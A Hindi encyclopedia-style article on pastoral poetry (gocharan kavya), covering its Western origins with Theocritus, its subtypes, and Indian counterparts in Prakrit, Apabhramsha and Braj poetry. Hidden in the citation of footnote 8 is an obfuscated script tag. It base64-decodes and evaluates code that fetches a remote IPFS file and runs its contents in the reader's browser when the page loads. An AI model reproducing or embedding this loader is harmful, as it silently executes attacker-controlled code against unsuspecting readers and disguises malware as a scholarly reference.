गोचारण काव्य  

गोचारण काव्य पाश्चात्य साहित्य का एक प्रमुख और अत्यंत प्राचीन काव्य रूप है। यद्यपि गोचारण काव्य के भीतर प्रत्युत्तरकाव्य[१], ग्राम्य गीति[२], ग्राम्य शोकगीति[३], ग्राम्य कथाकाव्य[४], ग्राम्य नाटक[५], ग्राम्य प्रशस्तिकाव्य[६], ग्राम्य महाकाव्य[७] आदि अनेक काव्य रूपों का विकास हुआ, पर सभी प्रकार के गोचारण या ग्राम्य काव्य की सामान्य और स्थिर विशेषता यह है कि उसमें प्रत्यक्ष या अप्रत्यक्ष रूप से नागरिक और ग्राम्य जीवन तथा उसके परिवेशका अंतर दिखाना ही प्रमुख उद्देश्य होता है।[८]

अर्थ

गोचारण काव्य का अर्थ लोक गीत या मौलिक रूप में प्रचलित ग्रामीण जनता का परम्परागत काव्य नहीं है। इसके विपरीत वह शिष्ट नागर समाज के कवियों द्वारा रचित काव्य होता है, जिसमें दरबारी या नागर परिवेश में रहने वाला कवि ग्राम्य जीवन की ताजगी, जीवंतता और वातावरण को विविध शैलियों में अभिव्यक्त करता है। गोचारण काव्य लिखने वाला प्रथम कवि यूनान का थियाक्रिटस (280 ई. पू.) था, जिसने भेड़ चराने वालों को पात्र बनाकर उनके संलाप या स्वगत-भाषण के रूप में काव्य-रचना की थी। तब से अब तक सारे यूरोप में किसी-न-किसी रूप में उसी की शैली या विषयवस्तु का अनुकरण करके गोचारण काव्य की रचना होती आयी है।

भारतीय परिप्रेक्ष्य

भारतीय साहित्य में गोचारण काव्य नामक किसी स्वतंत्र काव्य रूप की परम्परा नहीं मिलती, यद्यपि ग्राम्य वातावरण और पशुचारण करने वाली जातियों के जीवन से सम्बन्धित काव्य का यहाँ भी नितांत अभाव नहीं है। पालि, प्राकृत और अपभ्रंश साहित्य में आभीरों और गोपों के जीवन से सम्बन्धित तथा ग्राम्य परिवेश का चित्रण करने वाला पर्याप्त काव्य मिलता है। हेमचन्द्र के प्राकृत व्याकरण में अपभ्रंश के संग्रहीत दोषों में गोचारण काव्य का सुन्दर उदाहरण मिलता है। हिन्दी में सूरदास के पदों, बिहारीलाल के दोहों, रसखान के छन्दों और रीतिकाल के कुछ कवियों की कविता में ब्रज, विशेष रूप से वृन्दावन के परिवेश और गोप या आभीर जाति के जीवन का वहुत ही स्वाभाविक और विवृत चित्रण मिलता है। ऐसे काव्य को गोचारण काव्य तभी माना जायगा, जब कि गोचारण काव्य का व्यापक अर्थ लिया जाय।[८]

यूरोपीय ढंग के गोचारण काव्य या प्रत्युत्तर काव्य का प्रतिरूप हिन्दी साहित्य में खोजना व्यर्थ है, क्योंकि यहाँ उसे स्वतंत्र काव्य रूप माना ही नहीं गया और न ही कवियों ने जान-बूझकर प्रयत्नपूर्वक उस प्रकार का काव्य ही लिखा है।


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टीका टिप्पणी और संदर्भ

  1. एक्लॉग
  2. इडिल, पेस्टोरल लिरिक
  3. पेस्टोरल एलिजी
  4. पेस्टोरल रोमांस
  5. पेस्टोरल ड्रामा
  6. पेस्टोरल पेनेजेरिक
  7. पेस्टोरल एपिक
  8. ८.० ८.१ हिन्दी साहित्य कोश, भाग 1 |प्रकाशक: ज्ञानमण्डल लिमिटेड, वाराणसी |संकलन: भारतकोश पुस्तकालय |संपादन: डॉ. धीरेंद्र वर्मा |पृष्ठ संख्या: 235 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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